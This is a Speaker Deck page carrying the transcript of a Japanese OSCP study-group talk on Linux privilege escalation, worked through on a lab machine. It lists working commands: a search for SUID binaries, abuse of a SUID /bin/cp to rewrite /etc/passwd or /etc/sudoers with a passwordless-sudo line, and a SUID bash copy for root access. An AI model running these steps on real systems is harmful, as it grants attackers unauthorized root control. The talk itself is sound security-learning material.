Lock in $30 Savings on PRO—Offer Ends Soon! ⏳
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Linuxでの権限昇格 / Privilege Escalation in Linux
Search
tkito
March 24, 2023
Technology
0
960
Linuxでの権限昇格 / Privilege Escalation in Linux
2023/03/24に開催されたOSCP勉強会のLT資料(軽量版)です。
https://off-sec-lab.connpass.com/event/276425/
tkito
March 24, 2023
Tweet
Share
More Decks by tkito
See All by tkito
あの頃(2000年頃)のインターネット / The Internet in the early 2000s
tkito
1
120
Boot2Rootをやろう / Let's play Boot2Root
tkito
0
970
Re: SQLiから始めるRCE生活 / RCE via SQLi
tkito
0
310
権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS
tkito
2
3.3k
SOC-IRとOSCP / SOC-IR and OSCP
tkito
0
120
Other Decks in Technology
See All in Technology
学術的根拠から読み解くNotebookLMの音声活用法
shukob
1
560
Introduction to Sansan for Engineers / エンジニア向け会社紹介
sansan33
PRO
5
46k
Symfony AI in Action
el_stoffel
2
250
AIにおける自由の追求
shujisado
1
270
"なるべくスケジューリングしない" を実現する "PreferNoSchedule" taint
superbrothers
0
120
All About Sansan – for New Global Engineers
sansan33
PRO
1
1.3k
一億総業務改善を支える社内AIエージェント基盤の要諦
yukukotani
7
2.2k
私のRails開発環境
yahonda
0
150
変わるもの、変わらないもの :OSSアーキテクチャで実現する持続可能なシステム
gree_tech
PRO
0
1.4k
AI駆動開発2025年振り返りとTips集
knr109
1
140
Pandocでmd→pptx便利すぎワロタwww
meow_noisy
2
1.1k
研究開発部メンバーの働き⽅ / Sansan R&D Profile
sansan33
PRO
3
21k
Featured
See All Featured
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
359
30k
Why You Should Never Use an ORM
jnunemaker
PRO
60
9.6k
The Language of Interfaces
destraynor
162
25k
Fantastic passwords and where to find them - at NoRuKo
philnash
52
3.5k
Reflections from 52 weeks, 52 projects
jeffersonlam
355
21k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
32
1.8k
Producing Creativity
orderedlist
PRO
348
40k
Thoughts on Productivity
jonyablonski
73
4.9k
Site-Speed That Sticks
csswizardry
13
970
Optimising Largest Contentful Paint
csswizardry
37
3.5k
Code Review Best Practice
trishagee
73
19k
StorybookのUI Testing Handbookを読んだ
zakiyama
31
6.4k
Transcript
Linuxでの権限昇格 2023/03/24 OSCP勉強会 きとう
自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり
2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格
おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を 発表するものです どうかマサカリはおしまいください でも間違いがあったら教えてください
権限昇格 非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー
• Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4
offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格!
offsec-1-overtureにおける権限昇格 むずかしくない…? Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格! • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら? パターン整理していくと何か知見が 得られるかも!?
権限昇格に使われる手法の整理 権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを 考えていけばいい
Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了
offsec-1-overture 別解 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9
Linuxでの権限昇格 10
offsec-1-overture 別解(邪道) 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11
おまけ SUIDを使って直接root権限を得る方法(overtureの攻略には使えない) • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして •
chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12
まとめ • 権限昇格へのパスを一発で思いつける人すごいな! • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 •
パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13
おしまい きとう @tkito 14